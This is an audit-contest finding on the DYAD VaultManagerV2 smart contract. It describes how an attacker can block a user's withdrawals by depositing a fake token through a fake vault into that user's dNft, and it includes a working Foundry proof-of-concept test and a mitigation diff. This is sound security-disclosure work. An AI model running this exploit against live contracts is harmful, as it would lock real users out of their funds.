c4-bot-9 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127

Vulnerability details

Impact

User's withdrawals will be prevented from success and an attacker can keep up without a cost using fake vault and fake token.

Proof of Concept

There is a mechanisms for a flash loan protection that saves the current block number in a mapping of dNft token id, and then prevent it from withdrawing at the same block number, as we can see in the VaultManagerV2::deposit() function which can be called by anyone with a valid dNft id:

src/core/VaultManagerV2.sol:
  119:   function deposit(
  120:     uint    id,
  121:     address vault,
  122:     uint    amount
  123:   ) 
  124:     external 
  125:       isValidDNft(id)
  126:   {
@>127:     idToBlockOfLastDeposit[id] = block.number;
  128:     Vault _vault = Vault(vault);
  129:     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
  130:     _vault.deposit(id, amount);
  131:   }

The attacker can use this to prevent any withdrawals in the current block, since it will be checked whenever an owner of dNft token try to withdraw:

src/core/VaultManagerV2.sol:
  134:   function withdraw(
  135:     uint    id,
  136:     address vault,
  137:     uint    amount,
  138:     address to
  139:   ) 
  140:     public
  141:       isDNftOwner(id)
  142:   {
@>143:     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  144      uint dyadMinted = dyad.mintedDyad(address(this), id);

Test Case (Foundry)

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser}            from "../../src/core/Licenser.sol";
import {Parameters}          from "../../src/params/Parameters.sol";
import {ERC20}               from "@solmate/src/tokens/ERC20.sol";
import {Vault}               from "../../src/core/Vault.sol";
import {IAggregatorV3}       from "../../src/interfaces/IAggregatorV3.sol";
import {IVaultManager}       from "../../src/interfaces/IVaultManager.sol";

contract FakeERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol, 18) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract FakeVaultTest is Test, Parameters {

    Contracts contracts;
    address   attacker;
    FakeERC20 fakeERC20;
    Vault     fakeVault;

    function setUp() public {
        contracts = new DeployV2().run();
        // Add Vault Manager V2 to the main licenser used by DYAD token, it will allow Vault Manager V2 minting, burning DYAD.
        vm.prank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));

        attacker =  makeAddr('attacker');
        fakeERC20 = new FakeERC20('Fake', 'FAKE');
        fakeVault = new Vault(
            contracts.vaultManager,
            ERC20        (fakeERC20),
            IAggregatorV3(address(0x0))
        );

        fakeERC20.mint(attacker, type(uint256).max);
    }

    function testPoC_attackerCanFrontRunUserWithdrawalsToPreventThemFromWithdrawing() public {
        // Make a new address for alice, and mint some ether.
        address alice = makeAddr('alice');
        vm.deal(alice, 2 ether);

        // Misc addresses (WETH and WETH Vault).
        address weth =     address(contracts.ethVault.asset());
        address ethVault = address(contracts.ethVault);

        // Alice start interaction
        vm.startPrank(alice);

        // Mint new dNft token for alice
        uint dNftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(alice);

        // Add WETH vault to the newly created dNft
        contracts.vaultManager.add(dNftId, ethVault);
        // Deposit Ether to WETH contract to mint weth tokens
        (bool success, ) = weth.call{value: 1 ether}(abi.encodeWithSignature("deposit()"));
        require(success);
        // Deposit Weth to vault through Vault Manager 
        contracts.ethVault.asset().approve(address(contracts.vaultManager), 1 ether);
        contracts.vaultManager.deposit(dNftId, ethVault, 1 ether);

        vm.stopPrank();
        vm.roll(block.number + 1);

        // attacker approve vault manager to spend his fake erc20
        vm.startPrank(attacker);
        fakeVault.asset().approve(address(contracts.vaultManager), type(uint256).max);

        // whenever alice try to withdraw, attacker front-runs alice and make him unable to withdraw at current block
        // by depositing to alice's dNft a fake token with fake vault
        contracts.vaultManager.deposit(dNftId, address(fakeVault), 1 ether);
        vm.stopPrank();

        // alice try to withdraw but the call reverted with DepositedInSameBlock error 
        // indicate that the attacker success to prevent the withdrawal
        vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
        vm.prank(alice);
        contracts.vaultManager.withdraw(dNftId, ethVault, 1 ether, alice);
    }

}

Tools Used

Manual Review
Foundry

Recommended Mitigation

Consider limiting anyone with any token vaults to update idToBlockOfLastDeposit. One of these mitigation can be used:

Prevent anyone to deposit to un-owned dNft token
Allow to only depositing using licensed vaults, so if the attacker try to front-runs he will lose some real tokens.
Since this used to protect against flash loans, no need to use it with all token vaults and should be used only with vaults that can be used to mint DYAD. So, we can check if the deposit included in the vaultLicenser and keroseneManager licenser, we need to update the idToBlockOfLastDeposit. Here is a git diff for this fix:

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..73dbb6b 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -124,7 +124,8 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     external
       isValidDNft(id)
   {
-    idToBlockOfLastDeposit[id] = block.number;
+    if (vaultLicenser.isLicensed(vault) || keroseneManager.isLicensed(vault))
+      idToBlockOfLastDeposit[id] = block.number;
     Vault _vault = Vault(vault);
     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
     _vault.deposit(id, amount);

Assessed type

Invalid Validation

c4-pre-sort commented 6 months ago

JustDravee marked the issue as high quality report

c4-pre-sort commented 6 months ago

JustDravee marked the issue as duplicate of #1103

c4-pre-sort commented 6 months ago

JustDravee marked the issue as duplicate of #489